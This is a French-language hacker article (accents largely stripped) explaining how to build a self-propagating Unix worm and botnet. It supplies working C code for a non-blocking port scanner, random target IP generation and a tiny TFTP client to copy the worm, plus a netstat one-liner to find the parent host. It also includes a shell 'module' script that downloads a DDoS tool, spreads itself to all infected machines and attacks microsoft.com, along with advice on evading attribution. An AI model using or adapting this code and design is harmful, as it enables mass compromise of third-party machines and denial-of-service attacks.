                    De la cration des vers informatiques
                              sirius_black

Introduction
------------
Il est bon de  rappeler  brievement le fonctionnement d'un ver.  Le ver  agit en
boucle mais gnralement  on tudie son fonctionnement  partir de son lancement
sur une machine.

Une fois lanc le ver  va rechercher des victimes.  Pour cela il  va scanner des
plages d'ip   la recherche de machines vulnrables.  Dans  cet article  nous ne
prendrons pas un  compte  l'exploitation de la  faille en elle mme,  on suppose
que l'on dispose  d'un exploit qui  va nous donner  par exemple un  shell sur un
port donn.
Quand il trouve une victime,  le ver l'attaque et commence   se recopier sur la
machine distante.  Une fois recopi il n'a alors plus qu' lancer la copie qu'il
vient d'uploader sur la machine.

On va tudier les  diffrentes tapes les unes aprs  les autres et pour chacune
essayer de trouver des amliorations.

Scanner les adresses IPs
------------------------
Vitesse. La seule chose important dans cette tape est la vitesse.  Evidement le
scan est dpendant de la faille que l'on va exploiter.  Si le service vulnrable
est sur un  port TCP alors nous  allons devoir  tablir avec  chaque machine  un
tablissement  complet de  la connexion  (three  way handshake).  Si le  service
vulnrable utilise  le protocole UDP alors les connexions et donc le scan seront
bien plus rapides.  La premire conclusion  :  utiliser autant  que possible  le
protocole UDP.  De plus le  protocole UDP a  tendance a tre  oubli que ce soit
par les administrateurs (lorsqu'ils regardent les ports ouverts sur leur machine
ils ne regardent souvent que les ports tcp),  les hackers  (qui ne  scannent que
les ports TCP)  et...  les programmeurs qui oublient trop souvent que UDP existe
lorsqu'ils dveloppent des applications clients/serveurs.
En conclusion il est recommand d'utiliser  UDP autant que possible dans le code
d'un worm.

Revenons  TCP. Si nous sommes oblig de scanner les ports TCP nous pouvons tout
de mme utiliser quelques astuces pour acclrer le scan.
La solution consiste  utiliser des sockets non-bloquantes. On peut alors ouvrir
plusieurs sockets qui vont se connecter simultanement sur plusieurs victimes et
ensuite ne garder que les connexions qui ont russi.  En C on utilisera la fonc-
tion select() avec les macros FD_*.

Voici un petit code que j'ai fait  qui scanne sur le port 139 les 30 adresses IP
en partant de l'adresse IP fournie en argument :

--cut--cut--
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <errno.h>

#define MAX_FD 30
#define PORT 139

int main(int argc,char *argv[])
{
  unsigned long ip, temp;
  struct sockaddr_in sin;
  int n,err;
  unsigned int len;
  int max=0;
  fd_set fd_group;
  struct timeval timeout;
  
  struct ip_fd
  {
    unsigned long ip;
    int fd;
  } tab_ip[MAX_FD];
  
  len=sizeof(err);

  if(argc!=2)
  {
    printf("Usage: %s <ip_addr>\n",argv[0]);
    exit(1);
  }

  if((ip=inet_addr(argv[1]))==INADDR_NONE)
  {
    printf("Adresse ip invalide!\n");
    exit(1);
  }
  temp=htonl(ip);
  sin.sin_port=htons(PORT);
  sin.sin_family=AF_INET;
  timeout.tv_sec=1;
  timeout.tv_usec=0;
  FD_ZERO(&fd_group);
  for(n=0;n<MAX_FD;n++)
  {
    ip=ntohl(temp);
    tab_ip[n].ip=ip;
    tab_ip[n].fd=socket(PF_INET,SOCK_STREAM,0);
    max=((max>(tab_ip[n].fd))?max:(tab_ip[n].fd));
    sin.sin_addr.s_addr=ip;
    fcntl(tab_ip[n].fd,F_SETFL,O_NONBLOCK);
    if((connect(tab_ip[n].fd,(struct sockaddr*)&sin,sizeof(sin)))==-1)
    {
      if(errno!=EINPROGRESS)
      {
	close(tab_ip[n].fd);
	temp++;
	continue;
      }
    }
    FD_SET(tab_ip[n].fd,&fd_group);
    temp++;
  }
  select(max+1,NULL,&fd_group,NULL,&timeout);
  for(n=0;n<MAX_FD;n++)
  {
    if(FD_ISSET(tab_ip[n].fd,&fd_group))
    {
      getsockopt(tab_ip[n].fd,SOL_SOCKET,SO_ERROR,&err,&len);
      sin.sin_addr.s_addr=tab_ip[n].ip;
      if(err==0)
      {
	printf("err=%u\n",err);
	printf("Port ouvert sur %s\n",inet_ntoa(sin.sin_addr));
	close(tab_ip[n].fd);
      }
    }
  }
	
  return 0;
}
--cut--cut--

Il faut bien sr,  dans le cas o s'est possible,  vrifier dans la  foul si la
machine est vulnrable (tudier les ventuelles banires).

On peut aussi acclrer le scan est prenant  soin de ne scanner que les adresses
IP intressantes. Un article du 29A-8, nomm "Scanning Two Times Faster" propose
de garder en dur des correspondances adresses IP/Range/Pays de la forme :

c12bf000,c12bffff,193.43.240.0,193.43.255.255,EU
c12c0000,c12dffff,193.44.0.0,193.45.255.255,SE
c12e0000,c12effff,193.46.0.0,193.46.255.255,AT
c12f0000,c12fffff,193.47.0.0,193.47.255.255,CH
c1300000,c134ffff,193.48.0.0,193.52.255.255,FR

C'est assez intressant mais garder des informations en dr ne me dit trop rien.
On peut tout  de mme  scanner entre  une  ip minimum et  une ip maximum.  Si on
regarde la faon dont sont attribues les adresses IP par IANA  (cherchez un txt
nomm ipv4-adress-space.txt) on remarque que les premires IPs sont gnralement
attribus aux gouvernements, aux arms ou  diffrents services secrets.
Il est plus que probable  que certaines organisations  dans ces adresses l  (de
0.*.*.*  57.*.*.*) utilisent des honeypots ou diffrents outils de surveillance
de l'Internet (les petits-fils de carnivore ?)
Du ct des adresses IP maximum il est bien vident que l'on ne peut pas scanner
les rseaux de classe D (multicast) et E.
On se fixe donc pour bornes les adresses 58.0.0.0 et 224.0.0.0.

La gestion des adresses IPs dans le code doit se  faire dans un format  facile 
utiliser du point  de vue de la machine.  De ce ct Blaster  est sans doute  le
modle  ne pas suivre.
En effet pour incrmenter une IP Blaster convertissait sa valeur dcimale  (long
non sign  dans la notation  hte)  et une string de la forme  x.x.x.x  qu'il se
chargeait d'incrmenter avant de la retransformer en dcimale.

Toutes ces transformations font perdre un temps prcieux. 
On peut  se passer de la  forme chane de caractres  et n'utiliser que les deux
notations  dcimales  (l'une considre  que les  octets de poids  faible sont en
premier, l'autre les octets de poids fort sont en premier.)
Comme la passage d'une notation  l'autre  consiste seulement  faire des opra-
tions sur  les octets,  cela se fait  rapidement.  Le scanner prcdent  utilise
cette mthode par le biais des fonctions htonl() et ntohl().

exemple :
htonl(inet_addr("58.0.0.0"))  donne  973078528
htonl(inet_addr("223.0.0.0")) donne 3758096384

Il nous  suffit donc  de prendre  un nombre  entre ces  deux bornes,  de changer
l'ordre des octets par un ntohl() puis de tenter une connexion.  Pour le scan on
peut utiliser  une structure  associant l'adresse  IP sous forme  dcimale   un
descripteur sur une socket.

Une petit code pour la gnration d'une adresse IP :
--cut--cut--
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>

int main(int argc,char *argv[])
{
  unsigned long ip;
  struct sockaddr_in sin;
  int i;

  srand(time(0));
  for(i=0;i<40;i++)
  {
    ip=(unsigned long)(2785017856.0*rand()/(RAND_MAX+1.0));
    ip+=973078528L;
    sin.sin_addr.s_addr=ntohl(ip);
    printf("%lu -> %s\n",ip,inet_ntoa(sin.sin_addr));
  }
  return 0;
}
--cut--cut--

Le lancement de ce programme nous donne par exemple :
2324918322 -> 138.147.112.50
2067200351 -> 123.54.249.95
3066650692 -> 182.201.96.68
2939482108 -> 175.52.239.252
1916924642 -> 114.65.242.226
1769914301 -> 105.126.191.189
3573912186 -> 213.5.146.122
(...)
992762485 -> 59.44.90.117         <- minimum
(...)
3756299199 -> 223.228.147.191     <- maximum
1070264318 -> 63.202.239.254
1166479643 -> 69.135.17.27
1898601311 -> 113.42.91.95
1521845168 -> 90.181.131.176

La recopie du ver
-----------------
La plupart  des vers  Unix existants supposent  que la machine  attaque dispose
d'un serveur FTP.  Par exemple le ADMw0rm se  propage en  exploitant  une faille
dans BIND, obtenant alors un accs root.  Le ver cre alors un utilisateur w0rm,
supprime le  fichier hosts.deny,  puis lance un  client FTP  sur la victime pour
quelle rcupre une  copie du ver sur la machine mre.  Evidemment c'est posible
que la victim ne fasse pas tourner un serveur FTP. Dans ce cas l la victime est
backdoore mais ne fera pas tourner le ver.
Un exemple intressant de ver est  le Millenium Worm qui s'attaque  diffrentes
failles telles que imapd, popper,  ftpd, named et rcp.mountd (l'anctre des bots
windows ?)  Evidemment dans le cas o l'exploit utilis exploite une faille dans
un serveur FTP, on sait qu'un serveur FTP est utilisable.
Si on veut vraiment que notre ver se propage le plus possible il faut trouver un
moment de le recopier quelque soit les services tournant sur la victime.

Le mieux  est d'utiliser  un client  et un serveur  qui seront  sur  toutes  les
machines Unix... Seulement a nous aide pas.  Les rcp et rsh ne sont plus utili-
ss et ont t remplacs par SSH et SCP qui se basent sur un systme d'authenti-
fication.
Notre seule solution est d'uploader un client sur la victime (par le biais de la
ligne de commande)  en ayant lanc  pralablement un  serveur sur  la machine en
cours.

On a alors le choix entre des 'echo code >> fichier'
ou un
cat << EOF > fichier
code
EOF

On a dit  qu'il fallait  utiliser le plus possible  le protocole UDP...  on peut
donc utiliser  par dessus le  protocole TFTP pour  transfrer  nos fichiers  (la
plupart du temps il n'y a pas de clients tftp par dfaut sur Linux).  Inutile de
coder un  super-client.  Au contraire  plus il sera  court  plus on  vitera les
problmes lis au dialogue avec le shell.

J'ai fait un mini client TFTP qui n'implmente que la mthode GET :
--cut--cut--
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>

#define MODE "netascii"
#define PORT 6969

int main(int c,char *v[]){char b[516];int s,f,x;unsigned int l;
struct sockaddr_in a,t;if(c!=3)exit(1);bzero(b,sizeof(b));b[1]=1;
strcpy(b+2,v[2]);strcpy(b+3+strlen(v[2]),MODE);a.sin_family=AF_INET;
a.sin_port=htons(PORT);a.sin_addr.s_addr=inet_addr(v[1]);
s=socket(PF_INET,SOCK_DGRAM,0);
sendto(s,b,4+strlen(MODE)+strlen(v[2]),0,(struct sockaddr*)&a,sizeof(struct sockaddr));
f=open(v[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR);l=sizeof(struct sockaddr);
while((x=recvfrom(s,b,sizeof(b),0,(struct sockaddr*)&t,&l))==516)
{if(b[1]!=3)exit(1); if(b[3]==1){close(s);a.sin_port=t.sin_port;
s=socket(PF_INET,SOCK_DGRAM,0);}write(f,b+4,512);b[1]=4;
sendto(s,b,4,0,(struct sockaddr*)&a,sizeof(struct sockaddr));
}if(x>=4){write(f,b+4,x-4);b[1]=4;
sendto(s,b,4,0,(struct sockaddr*)&a,sizeof(struct sockaddr));
}close(f);return 0;}
--cut--cut--

Il serait possible de faire encore plus court, par exemple en virant les headers
toutefois la compilation pourrait poser des problmes avec certains compilateurs
un peu moins "cool". C'est pour a que notre code doit  tout pris compiler avec
certaines options (-Wall -pedantic) et ce sans cracher la moindre erreur.

Pourquoi prfrer du code  un binaire ?  Le code aurait l'avantage de ne donner
que trs peu  d'informations   une personne  l'extrieure  (on pourait en  plus
intgrer des routines anti-debug etc).
On pourrait par exemple avoir recours  la libworm de Michal Zalewski  (lcamtuf)
auteur  d'une trs  bonne doc  :  "I don't  think I  really  love you  (Writting
Internet worms for fun and profit)".

Seulement  si on  veut que  notre ver  fonctionne  sur  le plus  de plate-formes
possibles on ne peut pas se permettre de recopier des excutables ELF.

Avant de faire quoi que ce soit il faut  s'assurer que l'upload de notre code va
fonctionner.  On va donc se placer dans /tmp o on est quasi certain d'avoir des
droits en criture puis crer un rpertoire cach qui sera notre nouvelle maison
:)

Une fois le client TFTP upload et compil,  il faut encore connaitre  l'adresse
de la machine mre. Comme l'accs shell est toujours actif autant s'en servir.
En supposant que l'exploit a ouvert un shell sur le port 6969 :
netstat -atn | grep STA | tr -s [:blank:] " " | cut -d' ' -f 4 | grep 6969 | cut -d: -f1
nous donnera l'adresse IP.  Il suffit de  passer d'une faon  o d'une  autre le
rsultat de cette commande comme premier argument du client TFTP.

On se sert de ce  client pour rcuprer le reste du ver sur la machine mre.  Le
plus gros problme  (que je ne traiterais pas)  concerne les  firewalls.  Il est
possible  que l'accs  au serveur soit  interdit  ou que le  client n'ai  pas la
possibilit d'tablir  une connexion  avec l'extrieur.  On pourrait  trs  bien
imaginer un ver qui change les rles du client et du serveur dans le cas o une
configuration ne semble pas fonctionner.

En lisant  cette section vous  vous tes  peut-tre  dit qu'il aurait  suffit de
mettre le ver sur un serveur web et d'utiliser wget,  lynx ou curl pour recopier
le ver. C'est vrai que c'est le plus pratique mais :
- toutes les instances du ver sont dpendantes de ce serveur
- l'auteur est plus facilement reprable

Prenons l'exemple de Santy qui recherchais ses victimes sur Google : le staff de
Google a t trs ractif et a bloqu  toutes les requtes concernant les forums
phpBB.  On  peut supposer  qu'en  hbergeant  notre ver sur  un serveur  ce soit
l'hbergeur qui supprime les fichiers de lui-mme  o  la demande de la police.
De plus l'hbergeur est  en possession des  logs qui lui permettront de savoir 
partir de quelle IP vous avez dpos la copie du ver :(

Aller plus loin : le rseau p2p
-------------------------------
Pour comprendre  ce  qui  va suivre  je me  dois  de vous expliquer  (ou de vous
rappeler) quelles sont les diffrentes architectures p2p existantes.

[*] Architecture centralise
Il s'agit des permiers modles de peer to peer, pas trs volus. Napster est le
premier  s'tre rendu clbre.
Le fonctionnement est simple : le client se connecte au serveur de Napster, fait
une recherche sur "Monthy Pyhton".  Le serveur de Napster  lui renvoit une liste
d'adresses IP qui possde des ressources correspondant aux critres de recherche
du client.  Le client n'a  alors plus qu' se  connecter  un  des peers prsent
dans la liste.
C'est aussi le principe utilis par le ver Santy. On vient de voir quels taient
les dfauts d'une telle architecture :si le serveur meurt, tout le rseau meurt.

[*] Architecture dcentralise
C'est l'architecure par dfaut des vers.  On part d'une premire  machine qui va
infecter  X  bcanes.  Chaque bcane  infecte  son tour  un certain  nombre  de
bcanes et ainsi de suite.

Mais une application  p2p et un ver  sont bien diffrents.  Et c'est  l que  a
devient intressant. Si on peut transformer notre ver en une appli p2p alors les
possibilits d'utilisation du ver deviennent immenses.

Que se passe-t'il dans une telle architecture quand un client recheche un film ?
Comme il est  compltement  aveugle  il va envoyer  une requte  broadcast  pour
savoir avec  qui  communiquer.  Les machines  qui recoivent  cette demande  vont
chacune lui envoyer leur annuaire (une liste d'adresse IP). Le client peut alors
lancer des recherches plus rapidement en envoyant ses critres de recherches sur
toutes les ips qu'il connait  la fois.

Si on y rflchi la cration  d'un annuaire ne sert strictement   rien du point
de vue du worm tant donn que les ressources ont dj t transfres X-D
En revanche a devient intressant du point de vue d'un pirate.
Si chaque ver  conserve une  liste des machines  qu'il a infect,  le pirate n'a
qu' se connecter sur le serveur TFTP  de A et rcuprer la liste d'adresse IPs.
Pour chaque machine prsente dans cette liste il va se connecter et rcuprer de
nouvelles IPs qu'il rajoute  sa liste.
Au bout de quelques  minutes le pirate a  alors une bonne  quantit de  machines
qu'il peut exploiter :)

Le problme de l'architecture  dcentralise est la possibilit de remonter  la
premire machine infecte...  Il faut vraiment le vouloir mais si l'IP de la box
mre se trouve sur chaque box  fille alors on peut remonter  jusqu' une machine
qui n'a pas de mre (vous suivez ?)
C'est la que survient (tadam !) la rinfection !!
Les vers qui patchent  ou empchent l'exploitation une fois  qu'ils sont  lancs
sont nombreux. Et dans certains cas c'est mieux ainsi. Mais avec une rinfection
on brouille  les pistes et surtout on passe  d'une architecture  dcentralise 
une structure pleine de boucles.

Systme de modules
------------------
Le systme de  module est  trs simple.  Chaque  machine  infecte dispose  d'un
serveur TFTP.  Pour l'instant  on considrait qu'il ne servait qu' la transmis-
sion du ver, c'est  dire qu'il n'acceptait que les requtes GET.
La gestion des modules consiste  implmenter  une mthode PUT qui  recupre les
fichiers et... les excute.

Coupl avec notre systme de rseau p2p on arrive  un systme dmoniaque (niark
niark :p)

Considrez le code suivant (liste_ip.txt = liste d'ips que le ver a infect) :
--cut--cut--
#!/bin/sh
# this is fuckbill.sh
wget http://www.packetstormsecurity.org/repertoire/vers/ddos.c
gcc -o ddos ddos.c
cat liste_ip.txt | while read IP
do
  tftp_put $IP fuckbill.sh
done
./ddos www.microsoft.com
--cut--cut--

Le pirate upload ce script sur une machine  infecte prise au hazard sur le net.
La machine en question upload  son tour ce script sur toutes les machines quelle
a infect puis  lance un DoS sur  Microsoft.com.  Chaque machine  qui recoit  le
script excute les mmes instructions.
En moins de temps qu'il ne faut pour le dire Microsoft se fait DDoS :p

Le systme de  module permet de  corriger un  problme propre   MyDoom.  MyDoom
incluait la charge finale dans son code et  attendait une date prcise  avant de
lancer une  attaque sur SCO  (une autre version attaquait Microsoft).  Seulement
les victimes ont  eu le temps de prparer leurs dfenses contre MyDoom.  Avec un
ver ne possdant  pas de charge  utile mais qui  permet de  charger en  quelques
minutes la charge utile sur  un grand nombre de machines,  on prend par surprise
les ventuelles victimes  (on peut aussi  utiliser le ver  des fins plus sympas
comme installer  un programme de calcul  distribu pour la  recherche contre une
maladie).

Conclusion
----------
Bon worm  tous !

Quelques trucs  lire :
- les tudes de vers Unix sur whitehats.com
- le code source de ces vers
- une analyse de MyDoom (fastest worm ever ?)
- une analyse de Blaster (code dcompil par Robert Graham)
- I don't think I really love you - Michal Zalewski
- Wormz in 21st century - Benny/29A
- Scanning to times faster (dans 29A-8, auteur = ??)
- The future of Internet Worms - Crimelabs Research
- The Worm Turns - Ryan Russell and Tim Mullen
  C'est le chapitre 2 de "Stealing the Network : How to Own the Box"
  J'ai lu cet article peu de temps aprs avoir cris ce document :(
  mais le ver imaginaire qui y est dcrit est trs proche de ce 
  quoi je pensais 8-)
  A noter qu'un systme de scan bas sur la rpartition des adresses
  entre les vers y est dcrite :p
- Etude des reseaux peer-to-peer
  M. Derbali Mohammed
  M. Embouazza Fethi
  (le nom du fichier comporte TER et est au format PDF)

Vous trouverez certains de ces documents/codes sur www.lsdp.net/~lotfree
